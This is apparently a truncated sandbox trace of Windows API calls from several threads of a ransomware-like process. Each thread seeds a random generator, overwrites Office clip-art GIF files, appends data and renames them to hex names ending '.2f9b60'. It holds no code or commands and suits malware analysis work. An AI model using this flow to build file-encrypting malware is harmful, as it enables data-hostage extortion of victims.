[0161.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0161.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d10) returned 1 [0161.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3d10 [0161.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0161.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0161.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40d0) returned 1 [0161.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6220) returned 1 [0161.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19040) returned 1 [0161.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa1d0 [0161.413] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.414] WriteFile (in: hFile=0x10ec, lpBuffer=0x423aa1d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3711fdd0, lpOverlapped=0x0 | out: lpBuffer=0x423aa1d0*, lpNumberOfBytesWritten=0x3711fdd0*=0x10a, lpOverlapped=0x0) returned 1 [0163.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a510 [0163.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a510) returned 1 [0163.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a510 [0163.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0163.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0163.182] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.183] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="01") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="0b") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="0a") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="51") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="ed") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="79") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="a8") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="1d") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="33") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="76") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="72") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="88") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="3a") returned 2 [0163.183] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="25") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="94") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="c9") returned 2 [0163.184] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="1b") returned 2 [0163.184] RtlInitAnsiString (in: DestinationString=0x3711fe48, SourceString="010b0aae51ed79a81d333a7672883ab76c252f949ed3c91b" | out: DestinationString="010b0aae51ed79a81d333a7672883ab76c252f949ed3c91b") [0163.184] RtlAnsiStringToUnicodeString (in: DestinationString=0x3711fe18, SourceString="010b0aae51ed79a81d333a7672883ab76c252f949ed3c91b", AllocateDestinationString=1 | out: DestinationString="010b0aae51ed79a81d333a7672883ab76c252f949ed3c91b") returned 0x0 [0163.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3500 [0163.184] RtlFreeAnsiString (AnsiString="0") [0163.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a510) returned 1 [0163.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa1d0) returned 1 [0163.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d10) returned 1 [0163.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0163.186] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0163.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0163.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265280) returned 1 [0163.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a780) returned 1 [0163.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac09e0) returned 1 [0163.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8620f0 [0163.188] wcscat (in: _Dest=0x1b8620f0, _Source="010b0aae51ed" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed" [0163.188] wcscat (in: _Dest=0x1b8620f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed.2f9b60" [0163.188] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed.2f9b60", NtPathName=0x3711fdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\010b0aae51ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x108080 Thread: id = 2641 os_tid = 0x21b0 [0156.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif")) returned 0x20 [0156.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF", dwFileAttributes=0x20) returned 1 [0156.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10e8 [0156.925] GetFileSizeEx (in: hFile=0x10e8, lpFileSize=0x3779f980 | out: lpFileSize=0x3779f980*=261) returned 1 [0156.925] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.925] ReadFile (in: hFile=0x10e8, lpBuffer=0x3779f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3779f948, lpOverlapped=0x0 | out: lpBuffer=0x3779f900*, lpNumberOfBytesRead=0x3779f948*=0x4, lpOverlapped=0x0) returned 1 [0156.926] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a10 [0156.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a40 [0156.926] NtQuerySystemTime (in: CurrentTime=0x3779f840 | out: CurrentTime=0x3779f840*=132462177620602000) returned 0x0 [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x27d8611d [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x5e494716 [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x47e221a [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x3a434aef [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x2ca8d055 [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x118b6f36 [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x3f22509c [0156.926] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x2e8c98c7 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x1823089 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x7208841e [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x24c98d52 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x6fbbe9e9 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x6cab0aa1 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x542eb1ec [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x34ae3f1c [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x61dd84fb [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x421b40ec [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x9610295 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x25a7b661 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x3478c480 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x19e68fd0 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x131ea542 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x249f37c [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x559888e0 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x257cdda1 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x4d4af6a9 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x283ac54e [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x87978d3 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x7cdcbe69 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x39bcef1d [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x4a84e2f0 [0156.927] RtlRandomEx (in: Seed=0x3779f830 | out: Seed=0x3779f830) returned 0x7d25cb08 [0156.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a70 [0156.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec62a0 [0156.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0aa0 [0156.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec62a0) returned 1 [0156.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a40) returned 1 [0156.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19090 [0156.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec62a0 [0156.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f69a0) returned 1 [0156.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa6280 [0156.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42aa9e90 [0156.938] ReadFile (in: hFile=0x10e8, lpBuffer=0x42aa6280, nNumberOfBytesToRead=0x105, lpNumberOfBytesRead=0x3779f830, lpOverlapped=0x0 | out: lpBuffer=0x42aa6280*, lpNumberOfBytesRead=0x3779f830*=0x105, lpOverlapped=0x0) returned 1 [0156.938] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.938] WriteFile (in: hFile=0x10e8, lpBuffer=0x42aa9e90*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x3779f834, lpOverlapped=0x0 | out: lpBuffer=0x42aa9e90*, lpNumberOfBytesWritten=0x3779f834*=0x105, lpOverlapped=0x0) returned 1 [0161.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40d0 [0161.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4100 [0161.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4100) returned 1 [0161.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa9e90) returned 1 [0161.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42aa6280) returned 1 [0161.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec62a0) returned 1 [0161.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19090) returned 1 [0161.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4100 [0161.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19090 [0161.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec62a0 [0161.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4130 [0161.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4130) returned 1 [0161.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4130 [0161.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4160 [0161.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4190 [0161.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4190) returned 1 [0161.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec62a0) returned 1 [0161.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19090) returned 1 [0161.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aa2f0 [0161.420] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.420] WriteFile (in: hFile=0x10e8, lpBuffer=0x423aa2f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3779f950, lpOverlapped=0x0 | out: lpBuffer=0x423aa2f0*, lpNumberOfBytesWritten=0x3779f950*=0x10a, lpOverlapped=0x0) returned 1 [0163.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac09e0 [0163.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac09e0) returned 1 [0163.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac09e0 [0163.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f50 [0163.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f50) returned 1 [0163.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f130 [0163.196] sprintf (in: _Dest=0x1cd9f130, _Format="%c%c" | out: _Dest="53") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f132, _Format="%c%c" | out: _Dest="53") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f134, _Format="%c%c" | out: _Dest="53") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f136, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f138, _Format="%c%c" | out: _Dest="49") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f13a, _Format="%c%c" | out: _Dest="17") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f13c, _Format="%c%c" | out: _Dest="80") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f13e, _Format="%c%c" | out: _Dest="cf") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f140, _Format="%c%c" | out: _Dest="24") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f142, _Format="%c%c" | out: _Dest="93") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f144, _Format="%c%c" | out: _Dest="72") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f146, _Format="%c%c" | out: _Dest="5d") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f148, _Format="%c%c" | out: _Dest="d8") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f14a, _Format="%c%c" | out: _Dest="4e") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f14c, _Format="%c%c" | out: _Dest="aa") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f14e, _Format="%c%c" | out: _Dest="e1") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f150, _Format="%c%c" | out: _Dest="d0") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f152, _Format="%c%c" | out: _Dest="49") returned 2 [0163.196] sprintf (in: _Dest=0x1cd9f154, _Format="%c%c" | out: _Dest="91") returned 2 [0163.197] sprintf (in: _Dest=0x1cd9f156, _Format="%c%c" | out: _Dest="3c") returned 2 [0163.197] sprintf (in: _Dest=0x1cd9f158, _Format="%c%c" | out: _Dest="d4") returned 2 [0163.197] sprintf (in: _Dest=0x1cd9f15a, _Format="%c%c" | out: _Dest="dd") returned 2 [0163.197] sprintf (in: _Dest=0x1cd9f15c, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.197] sprintf (in: _Dest=0x1cd9f15e, _Format="%c%c" | out: _Dest="85") returned 2 [0163.197] RtlInitAnsiString (in: DestinationString=0x3779f9c8, SourceString="535353fe491780cf2493725dd84eaae1d049913cd4ddd285" | out: DestinationString="535353fe491780cf2493725dd84eaae1d049913cd4ddd285") [0163.197] RtlAnsiStringToUnicodeString (in: DestinationString=0x3779f998, SourceString="535353fe491780cf2493725dd84eaae1d049913cd4ddd285", AllocateDestinationString=1 | out: DestinationString="535353fe491780cf2493725dd84eaae1d049913cd4ddd285") returned 0x0 [0163.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3420 [0163.197] RtlFreeAnsiString (AnsiString="5") [0163.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f130) returned 1 [0163.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac09e0) returned 1 [0163.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aa2f0) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4130) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4160) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4100) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40d0) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a10) returned 1 [0163.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0a70) returned 1 [0163.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0aa0) returned 1 [0163.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cd64210 [0163.200] wcscat (in: _Dest=0x1cd64210, _Source="535353fe4917" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917" [0163.200] wcscat (in: _Dest=0x1cd64210, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917.2f9b60" [0163.200] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917.2f9b60", NtPathName=0x3779f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\535353fe4917.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x106e80 Thread: id = 2642 os_tid = 0x21b4 [0156.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif")) returned 0x20 [0156.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF", dwFileAttributes=0x20) returned 1 [0156.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10301_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x10e4 [0156.941] GetFileSizeEx (in: hFile=0x10e4, lpFileSize=0x39def760 | out: lpFileSize=0x39def760*=265) returned 1 [0156.941] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.941] ReadFile (in: hFile=0x10e4, lpBuffer=0x39def6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39def728, lpOverlapped=0x0 | out: lpBuffer=0x39def6e0*, lpNumberOfBytesRead=0x39def728*=0x4, lpOverlapped=0x0) returned 1 [0156.942] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f69a0 [0156.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0a40 [0156.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ad0 [0156.943] NtQuerySystemTime (in: CurrentTime=0x39def620 | out: CurrentTime=0x39def620*=132462177620758000) returned 0x0 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0xf4fcfb5 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x26531961 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x3eddc594 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x267df221 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x32c92bb4 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x6a61bb19 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x6ae58771 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x2f2199ef [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0xe497b3b [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x63a2afd6 [0156.943] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x17ab60bd [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x10ae13eb [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x32fc98f5 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x3a1d41bf [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x42a80ad9 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x3cc7a393 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x5f0907f9 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x6c534742 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x4391e166 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: Seed=0x39def610) returned 0x31cf61e1 [0156.944] RtlRandomEx (in: Seed=0x39def610 | out: 